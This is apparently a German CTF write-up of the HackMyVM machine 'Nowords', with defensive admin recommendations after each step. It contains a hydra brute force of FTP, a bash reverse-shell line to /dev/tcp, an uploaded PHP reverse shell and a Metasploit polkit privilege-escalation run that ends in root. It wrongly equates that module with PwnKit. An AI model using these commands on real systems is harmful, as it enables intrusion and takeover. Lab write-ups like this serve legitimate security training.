Nowords - HackMyVM - Medium - Bericht

Medium

Verwendete Tools

arp-scan
nmap
gobuster
hydra
ftp
ncftp
cp
cat
vi / nano
bash
mv
nc (netcat)
msfconsole
Metasploit Framework
python3
find
id
pwd
ls
export

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.147	08:00:27:ac:5b:68	PCS Systemtechnik GmbH

Analyse: Der Befehl `arp-scan -l` scannt das lokale Netzwerksegment auf aktive Hosts mittels ARP-Requests.

Bewertung: Ein Host mit der IP `192.168.2.147` wird identifiziert. Die MAC-Adresse gehört zu Oracle VirtualBox (PCS Systemtechnik GmbH), was auf eine virtuelle Maschine als Ziel hindeutet.

Empfehlung (Pentester):** Die Ziel-IP ist bekannt (`192.168.2.147`). Führen Sie als Nächstes einen Portscan mit `nmap` durch.
Empfehlung (Admin):** Standard-Netzwerk-Monitoring. VM-Härtung.

┌──(root㉿Darkspirit)-[~] └─# nmap -sC -T5 -sS -A 192.168.2.134 -p- | grep open
    21/tcp open  ftp     vsftpd 3.0.3
    80/tcp open  http    nginx 1.18.0 (Ubuntu)

Analyse: Ein erster, schneller Nmap-Scan (`-sC`, `-T5`, `-sS`, `-A`, `-p-`) wird durchgeführt und nach offenen Ports gefiltert. **Hinweis:** Der Befehl verwendet die IP `192.168.2.134` und der Prompt zeigt `root@Darkspirit`, was inkonsistent mit dem `arp-scan`-Ergebnis (`192.168.2.147`) und dem üblichen `root@cyber`-Prompt ist. Es wird angenommen, dass dies ein Fehler im Log ist und die Ergebnisse für das korrekte Ziel `192.168.2.147` gelten.

Bewertung: Unter der Annahme, dass die Ergebnisse für `192.168.2.147` gelten, werden zwei offene Ports identifiziert: Port 21 (FTP, vsftpd 3.0.3) und Port 80 (HTTP, nginx 1.18.0 Ubuntu).

Empfehlung (Pentester):** Beide Ports sind potenzielle Angriffsvektoren. Führen Sie einen detaillierteren Nmap-Scan durch. Untersuchen Sie den FTP-Dienst (anonymes Login?, bekannte Schwachstellen für vsftpd 3.0.3?) und den Webserver.
Empfehlung (Admin):** Sicherstellen, dass nur notwendige Dienste laufen. FTP ist oft unsicher; SFTP (über SSH) ist vorzuziehen. Wenn FTP benötigt wird, sollte es sicher konfiguriert werden (kein anonymer Zugriff, starke Passwörter, TLS). Nginx aktuell halten.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -sV -A 192.168.2.147 -p-
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-13 13:19 CEST
Nmap scan report for word.hmv (192.168.2.147)
Host is up (0.00033s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.18.0 (Ubuntu)
MAC Address: 08:00:27:AC:5B:68 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.33 ms word.hmv (192.168.2.147)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.32 seconds
zsh: segmentation fault  nmap -sS -sC -T5 -sV -A 192.168.2.147 -p-

Analyse: Ein detaillierter Nmap-Scan (`-sS`, `-sC`, `-T5`, `-sV`, `-A`, `-p-`) wird auf die korrekte IP `192.168.2.147` ausgeführt. Der Hostname `word.hmv` wird ebenfalls verwendet (wahrscheinlich aus `/etc/hosts` oder DNS).

Bewertung: Bestätigt die offenen Ports 21 (vsftpd 3.0.3) und 80 (nginx 1.18.0). Der Webserver liefert keinen Titel. Der Nmap-Scan selbst endet mit einem "Segmentation fault", liefert aber vorher die Ergebnisse. vsftpd 3.0.3 hat keine weit verbreiteten kritischen Schwachstellen, ist aber konfigurierbar. Nginx 1.18.0 ist ebenfalls relativ aktuell.

Empfehlung (Pentester):** Fokus auf beide Dienste: * **FTP:** Testen auf anonymen Login. Versuchen, Benutzernamen zu erraten oder aus anderen Quellen zu finden und dann einen Passwort-Brute-Force-Angriff durchführen (z.B. mit Hydra). * **HTTP:** Webserver-Enumeration mit `gobuster` oder ähnlichen Tools, um versteckte Dateien/Verzeichnisse zu finden. Manuelle Untersuchung der Webseite.
Empfehlung (Admin):** FTP sicher konfigurieren (kein anonymer Zugriff, starke Passwörter, evtl. Zugriff auf bestimmte IPs beschränken). Nginx aktuell halten und sicher konfigurieren. Den Nmap Segmentation Fault untersuchen – dies könnte auf ein Problem mit Nmap selbst oder eine Reaktion des Zielsystems (z.B. IDS/IPS) hindeuten, obwohl letzteres unwahrscheinlich ist.

Web Enumeration

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://192.168.2.147 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -e -x .git,php,html,xml,zip,7z,tar,bak,sql,py,pl,txt,jpg,jpeg,png,js,aac,ogg,flac,alac,wav,aiff,dsd,mp3,mp4,mkv -t 100 -e -s "200,204,301,302,307,401"
===============================================================
Gobuster v...
...
===============================================================
[+] Url:                     http://192.168.2.147
[+] Threads:                 100
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Status codes:            200,204,301,302,307,401
[+] User Agent:              gobuster/...
[+] Extensions:              ... (viele Erweiterungen) ...
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
... Starting gobuster ...
===============================================================
http://192.168.2.147/index.html           (Status: 200) [Size: 64]
http://192.168.2.147/robots.txt           (Status: 200) [Size: 27090]
===============================================================
... Finished ...
===============================================================

Analyse: `gobuster` wird verwendet, um Verzeichnisse und Dateien auf dem Webserver zu finden. Es werden viele Erweiterungen getestet und nur bestimmte Statuscodes (`-s`) angezeigt.

Bewertung: Nur zwei Dateien werden gefunden: `index.html` (sehr klein, 64 Bytes) und `robots.txt` (ungewöhnlich groß, 27090 Bytes). Die kleine `index.html` deutet auf eine statische Seite oder eine Platzhalterseite hin. Die große `robots.txt` ist verdächtig und muss untersucht werden.

Empfehlung (Pentester):** Laden Sie `robots.txt` herunter und analysieren Sie den Inhalt. Es könnte Hinweise auf versteckte Pfade, Technologien oder Benutzernamen enthalten. Untersuchen Sie auch `index.html`, auch wenn sie klein ist.
Empfehlung (Admin):** Stellen Sie sicher, dass `robots.txt` keine sensiblen Informationen enthält. Verwenden Sie sie nur für ihren vorgesehenen Zweck (Anweisungen für Webcrawler).

Analyse: Der Inhalt von `robots.txt` wird untersucht (Schritt nicht gezeigt). Es wird angenommen, dass darin oder im Quellcode von `index.html` (wie im Text angedeutet: "view-source:http://192.168.2.147/ --> Hint inside.") ein Hinweis auf einen Benutzernamen gefunden wurde: `sophie`.

Bewertung: Die Identifizierung eines potenziellen Benutzernamens (`sophie`) ist ein wichtiger Schritt, der nun einen gezielten Brute-Force-Angriff auf den FTP-Dienst ermöglicht.

Empfehlung (Pentester):** Verwenden Sie den gefundenen Benutzernamen `sophie` für einen Passwort-Brute-Force-Angriff auf den FTP-Server (Port 21) mit einem Tool wie `hydra` und einer gängigen Passwortliste.
Empfehlung (Admin):** Vermeiden Sie es, Benutzernamen oder andere sensible Informationen im Quellcode oder in öffentlich zugänglichen Dateien wie `robots.txt` preiszugeben.

Initial Access (FTP & RCE)

┌──(root㉿cyber)-[~] └─# hydra -l sophie -P /usr/share/wordlists/rockyou.txt ftp://192.168.2.147 -t64 -I
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-10-13 13:13:43
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344421 login tries (l:1/p:14344421), ~224132 tries per task
[DATA] attacking ftp://192.168.2.147:21/
[ATTEMPT] target 192.168.2.147 - login "sophie" - pass "123456" - 1 of 14344421 [child 0]
...
[21][ftp] host: 192.168.2.147   login: sophie   password: natalia
[STATUS] attack finished for 192.168.2.147 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra finished at ...

Analyse: `hydra` wird verwendet, um einen Brute-Force-Angriff auf den FTP-Server durchzuführen. `-l sophie` gibt den zuvor gefundenen Benutzernamen an. `-P rockyou.txt` verwendet eine gängige Passwortliste. `-t64` nutzt 64 Threads. `-I` ignoriert eine eventuell vorhandene Restore-Datei.

Bewertung: Der Angriff ist erfolgreich! Hydra findet das Passwort `natalia` für den Benutzer `sophie`. Dies gewährt FTP-Zugriff auf das System.

Empfehlung (Pentester):** Melden Sie sich mit den gefundenen Zugangsdaten (`sophie`:`natalia`) per FTP beim Ziel an und untersuchen Sie die verfügbaren Dateien und Verzeichnisse. Suchen Sie nach sensiblen Informationen, Konfigurationsdateien, SSH-Schlüsseln oder Möglichkeiten, Dateien hochzuladen.
Empfehlung (Admin):** Erzwingen Sie starke, eindeutige Passwörter für alle Benutzerkonten. Implementieren Sie Schutzmaßnahmen gegen Brute-Force-Angriffe auf den FTP-Server (z.B. `fail2ban` oder Intrusion Detection Systeme).

┌──(root㉿cyber)-[~] └─# ftp 192.168.2.147
Connected to 192.168.2.147.
220 (vsFTPd 3.0.3)
Name (192.168.2.147:cyber): sophie
331 Please specify the password.
Password: [Passwort natalia eingegeben]
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> pwd
257 "/home/sophie" is the current directory.
ftp> cd .ssh
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||53879|)
150 Here comes the directory listing.
226 Directory send OK.
ftp> ls -la
229 Entering Extended Passive Mode (|||23420|)
150 Here comes the directory listing.
drwx------    2 1000     1000         4096 Jul 02  2021 .
drwxr-xr-x   16 1000     1000         4096 Jul 02  2021 ..
226 Directory send OK.

Analyse: Es wird eine interaktive FTP-Sitzung mit den gefundenen Zugangsdaten gestartet. Das Home-Verzeichnis `/home/sophie` wird bestätigt. Es wird versucht, in das `.ssh`-Verzeichnis zu wechseln und dessen Inhalt aufzulisten.

Bewertung: Der Login ist erfolgreich. Das `.ssh`-Verzeichnis existiert, ist aber leer. Dies ist eine Gelegenheit, einen eigenen SSH Public Key hochzuladen, um einen passwortlosen SSH-Zugang zu ermöglichen.

Empfehlung (Pentester):** Erstellen Sie auf Ihrem Angreifer-System eine Datei namens `authorized_keys`, die Ihren SSH Public Key enthält (`id_rsa.pub` oder ähnlich). Laden Sie diese Datei dann mit dem `put`-Befehl in das `.ssh`-Verzeichnis auf dem FTP-Server hoch.
Empfehlung (Admin):** Überwachen Sie FTP-Logins und -Aktivitäten. Stellen Sie sicher, dass die Berechtigungen für `.ssh`-Verzeichnisse und `authorized_keys`-Dateien korrekt gesetzt sind (idealerweise `700` für `.ssh` und `600` für `authorized_keys`).

┌──(root㉿cyber)-[~] └─# cp /root/.ssh/id_rsa.pub authorized_keys
ftp> put authorized_keys
local: authorized_keys remote: authorized_keys
229 Entering Extended Passive Mode (|||20942|)
150 Ok to send data.
100% |***********************************|   476       20.63 MiB/s    00:00 ETA
226 Transfer complete.
476 bytes sent in 00:00 (1.03 MiB/s)

Analyse: Der SSH Public Key des Angreifers wird lokal in eine Datei namens `authorized_keys` kopiert. Anschließend wird diese Datei über FTP in das `.ssh`-Verzeichnis des Benutzers `sophie` auf dem Zielsystem hochgeladen.

Bewertung: Wenn die Dateiberechtigungen auf dem Server korrekt sind und der SSH-Daemon entsprechend konfiguriert ist, sollte nun ein SSH-Login mit dem zugehörigen Private Key des Angreifers möglich sein.

Empfehlung (Pentester):** Versuchen Sie nun, sich per SSH anzumelden: `ssh -i /pfad/zum/private_key sophie@192.168.2.147`. Parallel dazu wird im Text eine andere Vorgehensweise gezeigt (Upload einer PHP-Shell).
Empfehlung (Admin):** Sicherstellen, dass die SSH-Konfiguration (`sshd_config`) sicher ist (z.B. `PasswordAuthentication no` bevorzugen, `PubkeyAuthentication yes`).

Analyse: Statt den SSH-Zugang zu nutzen, wird im Originaltext eine PHP-Reverse-Shell (`image.php` - der Name ist irreführend) über FTP hochgeladen. Der Zielpfad ist unklar, vermutlich das Home-Verzeichnis `/home/sophie`.

ftp> pwd
257 "/home/sophie/.ssh" is the current directory.
ftp> cd ..
250 Directory successfully changed.
ftp> put image.php
local: image.php remote: image.php
229 Entering Extended Passive Mode (|||30213|)
150 Ok to send data.
100% |***********************************|  5495      131.01 MiB/s    00:00 ETA
226 Transfer complete.
5495 bytes sent in 00:00 (12.68 MiB/s)

Bewertung: Eine PHP-Datei im Home-Verzeichnis eines Benutzers ist normalerweise nicht direkt über den Webserver erreichbar oder ausführbar. Dieser Schritt scheint im Kontext des weiteren Vorgehens (Vorbereitung der RCE über `script.sh` und `command.jpg`) weniger relevant, es sei denn, es gäbe eine LFI-Schwachstelle.

Empfehlung (Pentester):** Konzentrieren Sie sich auf den im weiteren Verlauf gezeigten Exploit-Pfad über `script.sh` und `command.jpg`.
Empfehlung (Admin):** Stellen Sie sicher, dass der Webserver keinen Zugriff auf Home-Verzeichnisse hat und PHP-Dateien nur in den vorgesehenen Web-Root-Verzeichnissen ausgeführt werden können.

Analyse: Es wird ein Verzeichnis namens `me` im FTP-Root (oder `/`) untersucht, das anscheinend von Root erstellt wurde (`0 0`) und für alle beschreibbar ist (`drwxrwxrwx`). Innerhalb dieses Verzeichnisses befinden sich `doit.py` und `user.txt`. Die User-Flag wird heruntergeladen.

ftp> cd /
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||26316|)
150 Here comes the directory listing.
me
sophie
...
226 Directory send OK.
ftp> cd me
250 Directory successfully changed.
ftp> ls -la
229 Entering Extended Passive Mode (|||64773|)
150 Here comes the directory listing.
drwxrwxrwx    2 0        0            4096 Jul 02  2021 .
drwxr-xr-x    4 0        0            4096 Jul 02  2021 ..
-rwxrwxrwx    1 1000     1000          509 Jul 02  2021 doit.py
-rwxrwxrwx    1 0        0              13 Jul 02  2021 user.txt
226 Directory send OK.
ftp> get user.txt
local: user.txt remote: user.txt
229 Entering Extended Passive Mode (|||13320|)
150 Opening BINARY mode data connection for user.txt (13 bytes).
100% |***********************************|    13        0.66 KiB/s    00:00 ETA
226 Transfer complete.
13 bytes received in 00:00 (0.65 KiB/s)
┌──(root㉿cyber)-[~] └─# cat user.txt
Icanreadyeah

Bewertung: Ein globales, beschreibbares Verzeichnis `/me` mit unsicheren Berechtigungen existiert. Es enthält das User-Flag, das erfolgreich heruntergeladen wurde. Das Python-Skript `doit.py` könnte relevant sein.

Empfehlung (Pentester):** User-Flag dokumentieren. Laden Sie `doit.py` herunter und analysieren Sie dessen Funktion. Könnte es Teil des Exploit-Mechanismus sein?
Empfehlung (Admin):** Vermeiden Sie global beschreibbare Verzeichnisse mit unsicheren Berechtigungen (`777`). Dateien sollten dem korrekten Benutzer gehören und minimale Berechtigungen haben. Das User-Flag sollte im Home-Verzeichnis des entsprechenden Benutzers liegen und geschützt sein.

Analyse: Der Angreifer bereitet eine Reverse Shell vor. Ein Skript (`script.sh`) mit einem Bash-Reverse-Shell-Befehl wird erstellt und in das Verzeichnis `/me` auf dem FTP-Server hochgeladen.

┌──(root㉿cyber)-[~] └─# vi script.sh
[Inhalt der Datei script.sh]
bash -i >& /dev/tcp/192.168.2.140/4444 0>&1 # Korrekte IP/Port hier eintragen
ftp> cd /me
250 Directory successfully changed.
ftp> put script.sh
local: script.sh remote: script.sh
229 Entering Extended Passive Mode (|||62167|)
150 Ok to send data.
100% |***********************************|    48        1.27 MiB/s    00:00 ETA
226 Transfer complete.
48 bytes sent in 00:00 (120.81 KiB/s)

Analyse Fortsetzung:** Anschließend wird lokal ein "Screenshot" (vermutlich eine Bilddatei, z.B. mit `gnome-screenshot` oder `flameshot`) erstellt, der den Befehl `/bin/bash /home/me/script.sh` als Text enthält. Diese Bilddatei wird in `command.jpg` umbenannt und in das Home-Verzeichnis von `sophie` (`/home/sophie`) auf dem FTP-Server hochgeladen.

┌──(root㉿cyber)-[~] └─# mv /home/cyber/Downloads/Unbenannt.PNG command.jpg
ftp> cd /home/sophie
250 Directory successfully changed.
ftp> put command.jpg
[FTP-Upload-Ausgabe für command.jpg]

Bewertung: Dies ist ein ungewöhnlicher Mechanismus. Es wird vermutet, dass auf dem Zielsystem ein Prozess läuft (möglicherweise das `doit.py`-Skript oder ein Cronjob), der das Verzeichnis `/home/sophie` überwacht. Wenn eine Datei namens `command.jpg` erscheint, extrahiert dieser Prozess den Text daraus (z.B. mittels OCR oder weil er speziell darauf ausgelegt ist) und führt diesen Text als Shell-Befehl aus. In diesem Fall wird `/bin/bash /home/me/script.sh` ausgeführt, was die Reverse Shell auslöst.

Analyse Fortsetzung:** Ein Netcat-Listener wird auf Port 4444 gestartet, um die eingehende Shell abzufangen.

┌──(root㉿cyber)-[~] └─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.140] from (UNKNOWN) [192.168.2.147] 52486
bash: cannot set terminal process group (5674): Inappropriate ioctl for device
bash: no job control in this shell
sophie@nowords:~$

Bewertung: Der Mechanismus funktioniert. Nach dem Upload von `command.jpg` wird `script.sh` ausgeführt, und der Angreifer erhält eine Reverse Shell als Benutzer `sophie`.

Empfehlung (Pentester):** Initial Access als `sophie` wurde erreicht. Stabilisieren Sie die Shell. Suchen Sie nach Privilegieneskalations-Vektoren. Untersuchen Sie das `doit.py`-Skript oder den auslösenden Mechanismus genauer.
Empfehlung (Admin):** Entfernen Sie den Mechanismus, der Befehle aus Bilddateien ausführt – dies ist extrem unsicher. Überwachen Sie Verzeichnisse auf verdächtige Dateiänderungen. Beschränken Sie die Berechtigungen von Überwachungsskripten. Entfernen Sie das global beschreibbare Verzeichnis `/me`.

Privilege Escalation (Metasploit & Polkit)

Analyse: Um die erhaltene einfache Shell zu verwalten und Privilegieneskalation durchzuführen, wird das Metasploit Framework verwendet. Zuerst wird ein Handler (`exploit/multi/handler`) konfiguriert, um die eingehende Shell (erneut) auf Port 4444 zu empfangen. Der Payload-Typ wird auf `linux/x86/shell_reverse_tcp` gesetzt.

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > set lhost eth0
lhost => eth0
msf6 exploit(multi/handler) > set payload payload/linux/x86/shell_reverse_tcp
payload => linux/x86/shell_reverse_tcp
msf6 exploit(multi/handler) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created. <-- Wartet auf Verbindung

[*] Started reverse TCP handler on 192.168.2.140:4444
[*] Command shell session 1 opened (192.168.2.140:4444 -> 192.168.2.147:52510) at 2022-10-13 16:41:06 +0200

Analyse Fortsetzung:** Nachdem die Shell-Session (ID 1) in Metasploit etabliert ist, wird sie mit dem Post-Exploitation-Modul `post/multi/manage/shell_to_meterpreter` zu einer funktionsreicheren Meterpreter-Session aufgerüstet.

msf6 exploit(multi/handler) > sessions -l
Active sessions
===============

  Id  Name  Type             Information                                 Connection
  --  ----  ----             -----------                                 ----------
  1         shell x86/linux  Shell Banner: bash: cannot set terminal pr  192.168.2.140:4444 -> 192.168.2.147:52510 (...)

msf6 exploit(multi/handler) > search shell_to_meterpreter
Matching Modules
================

   #   Name                                  Disclosure Date  Rank    Check  Description
   -   ----                                  ---------------  ----    -----  -----------
   ...
   54  post/multi/manage/shell_to_meterpreter                       normal  No     Shell to Meterpreter Upgrade
   ...
msf6 exploit(multi/handler) > use 54
msf6 post(multi/manage/shell_to_meterpreter) > options
Module options (post/multi/manage/shell_to_meterpreter):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   HANDLER  true             yes       Start an exploit/multi/handler to receive the connection
   LHOST                     no        IP of host that will receive the connection from the payload (...)
   LPORT    4433             yes       Port for payload to connect to.
   SESSION                   yes       The session to run this module on
msf6 post(multi/manage/shell_to_meterpreter) > set HANDLER true
HANDLER => true
msf6 post(multi/manage/shell_to_meterpreter) > set LPORT 4433
LPORT => 4433
msf6 post(multi/manage/shell_to_meterpreter) > set SESSION 1
SESSION => 1
msf6 post(multi/manage/shell_to_meterpreter) > run
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.2.140:4433
[*] Sending stage (989032 bytes) to 192.168.2.147
[*] Meterpreter session 2 opened (192.168.2.140:4433 -> 192.168.2.147:38356) at 2022-10-13 16:44:19 +0200
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed

Analyse Fortsetzung:** Eine Meterpreter-Session (ID 2) wurde erfolgreich etabliert. Nun wird nach lokalen Privilegieneskalations-Exploits gesucht. Es wird der Exploit `linux/local/polkit_dbus_auth_bypass` ausgewählt, der eine bekannte Schwachstelle im Polkit-Dienst (auch bekannt als PwnKit, CVE-2021-4034) ausnutzt.

msf6 post(multi/manage/shell_to_meterpreter) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > background
[*] Backgrounding session 2...
msf6 post(multi/manage/shell_to_meterpreter) > use exploit/linux/local/polkit_dbus_auth_bypass
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/local/polkit_dbus_auth_bypass) > set LPORT 4567
LPORT => 4567
msf6 exploit(linux/local/polkit_dbus_auth_bypass) > set iterations 400
iterations => 400
msf6 exploit(linux/local/polkit_dbus_auth_bypass) > set username benni
username => benni
msf6 exploit(linux/local/polkit_dbus_auth_bypass) > set password hacker
password => hacker
msf6 exploit(linux/local/polkit_dbus_auth_bypass) > set SESSION 2
SESSION => 2
msf6 exploit(linux/local/polkit_dbus_auth_bypass) > run
[*] Started reverse TCP handler on 192.168.2.140:4567 <-- Korrektur: Port sollte 4567 sein
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking for exploitability via attempt
[+] The target is vulnerable. The polkit framework instance is vulnerable.
[*] Attempting to create user hacker <-- Teil des Exploits, temporärer User
[+] User hacker created with UID 1001
[*] Attempting to set the password of the newly created user, hacker, to: benni
[+] Obtained code execution as root!
[*] Writing '/tmp/lxLwF' (207 bytes) ...
[*] Sending stage (989032 bytes) to 192.168.2.147
[+] Deleted /tmp/lxLwF
[*] Meterpreter session 3 opened (192.168.2.140:4567 -> 192.168.2.147:53250) at 2022-10-13 16:52:11 +0200
[*] Attempting to remove the user added:
[+] Successfully removed hacker

Bewertung: Metasploit automatisiert den Prozess: Es empfängt die initiale Shell, rüstet sie zu Meterpreter auf und nutzt dann den Polkit-Exploit (PwnKit) über die bestehende Meterpreter-Session (ID 2), um eine *neue* Meterpreter-Session (ID 3) mit Root-Rechten zu erhalten. Der Exploit erstellt kurzzeitig einen Benutzer, führt Code als Root aus, um die Payload zu starten, und löscht den Benutzer wieder.

Analyse Fortsetzung:** Es wird zur neuen Root-Meterpreter-Session (ID 3) gewechselt und eine interaktive Shell gestartet.

meterpreter > shell
Process 13970 created.
Channel 1 created.
sh: 0: getcwd() failed: No such file or directory <-- Bekanntes Problem nach PwnKit
[Kein Prompt - Root Shell] # id
uid=0(root) gid=0(root) groups=0(root)
[Kein Prompt - Root Shell] # pwd
sh: 0: getcwd() failed: No such file or directory
[Kein Prompt - Root Shell] # python3 -c "import pty;pty.spawn('/bin/bash')"
shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
sh: 0: getcwd() failed: No such file or directory
root@nowords:# export TERM=xterm
root@nowords:# pwd
pwd: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
root@nowords:# cd /etc
chdir: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
root@nowords:/etc# find / -name root.txt 2>/dev/null
/root/root.txt
root@nowords:/etc# cat /root/root.txt
Ihavenowords
root@nowords:/etc#

Bewertung: Die Privilegieneskalation mittels PwnKit war erfolgreich, wie `id` bestätigt. Die Root-Shell wird erlangt. Es gibt einige Probleme mit dem Arbeitsverzeichnis (`getcwd() failed`), was nach diesem Exploit vorkommen kann, aber die Shell ist funktionsfähig. Die Root-Flag wird in `/root/root.txt` gefunden und ausgelesen.

Empfehlung (Pentester):** Root-Zugriff wurde erlangt und das Root-Flag gefunden. Dokumentieren Sie den Weg über FTP-Zugang, RCE durch unsicheren Dateiupload/Trigger und Privilegieneskalation mittels Polkit/PwnKit.
Empfehlung (Admin):** Patchen Sie das System dringend, um die Polkit-Schwachstelle (CVE-2021-4034) zu beheben. Überprüfen und härten Sie die FTP-Konfiguration. Beheben Sie die unsichere Dateiupload- und Ausführungslogik. Überwachen Sie das System auf verdächtige Prozesse und Netzwerkverbindungen.

Proof of Concept (POC)

Kurzbeschreibung: Dieser POC beschreibt die Kette von Schwachstellen, die zur Kompromittierung des Systems führte: Erlangung von Benutzerzugangsdaten für FTP durch Brute-Force, Ausnutzung eines unsicheren Mechanismus zum Hochladen und Ausführen von Code als dieser Benutzer (Initial Access) und anschließende Privilegieneskalation zu Root durch Ausnutzung der PwnKit-Schwachstelle (CVE-2021-4034) im Polkit-Dienst.

POC Schritt 1: Initial Access (FTP Brute-Force & RCE)

Schwachstellen: Schwaches FTP-Passwort, unsicherer Mechanismus zur Codeausführung via Dateiupload.

Voraussetzungen: Netzwerkzugriff, `hydra`, `ftp` (oder Skript), `nc`.

Schritte:

  1. Benutzername `sophie` ermitteln (z.B. aus Webseiten-Hinweis).
  2. FTP-Passwort für `sophie` mit `hydra` brute-forcen (Passwort: `natalia`).
  3. Per FTP einloggen und Reverse-Shell-Skript (`script.sh`) nach `/me/` hochladen.
  4. Trigger-Datei (`command.jpg` mit Inhalt `/bin/bash /home/me/script.sh`) nach `/home/sophie/` hochladen.
  5. Listener starten: `nc -lvnp 4444`.
  6. Warten, bis der (unbekannte) Trigger-Mechanismus `script.sh` ausführt und die Shell eingeht.

Ergebnis: Reverse Shell als Benutzer `sophie`.

Beweismittel: Eingehende Verbindung auf Port 4444 mit dem Prompt `sophie@nowords:~$`.

POC Schritt 2: Privilege Escalation (Polkit/PwnKit)

Schwachstelle: CVE-2021-4034 (PwnKit) im Polkit-Dienst.

Voraussetzungen: Shell als Benutzer `sophie`, Metasploit Framework.

Schritte:

  1. Metasploit-Handler starten, um `sophie`-Shell zu empfangen (`exploit/multi/handler`).
  2. Shell zu Meterpreter upgraden (`post/multi/manage/shell_to_meterpreter`).
  3. Polkit-Exploit-Modul laden (`exploit/linux/local/polkit_dbus_auth_bypass`).
  4. Session auf die Meterpreter-Session von `sophie` setzen.
  5. Exploit ausführen (`run`).
  6. Zur neu erstellten Root-Meterpreter-Session wechseln.
  7. Interaktive Shell starten (`shell`).

Ergebnis: Interaktive Root-Shell.

Beweismittel: Ausführung von `id` in der Shell zeigt `uid=0(root)`. Lesen von `/root/root.txt` ist möglich.

Risikobewertung: Das System weist mehrere kritische Schwachstellen auf. Schwache Passwörter und fehlender Brute-Force-Schutz ermöglichen initialen Zugriff. Ein obskurer, unsicherer Mechanismus zur Codeausführung erlaubt RCE. Eine bekannte, ungepatchte Betriebssystem-Schwachstelle (PwnKit) ermöglicht die vollständige Privilegieneskalation zu Root. Das Gesamtrisiko ist als sehr hoch einzustufen.

Empfehlungen:** * **Admin:** System dringend patchen (insbesondere Polkit). FTP-Passwörter ändern und härten. Mechanismus zur Codeausführung aus Bilddateien entfernen. `sudo`-Regeln überprüfen. Dateiberechtigungen korrigieren (z.B. für `/me`). * **Pentester:** Alle gefundenen Schwachstellen detailliert dokumentieren.

Flags

cat /me/user.txt (via FTP)
Icanreadyeah
cat /root/root.txt (via Root-Shell)
Ihavenowords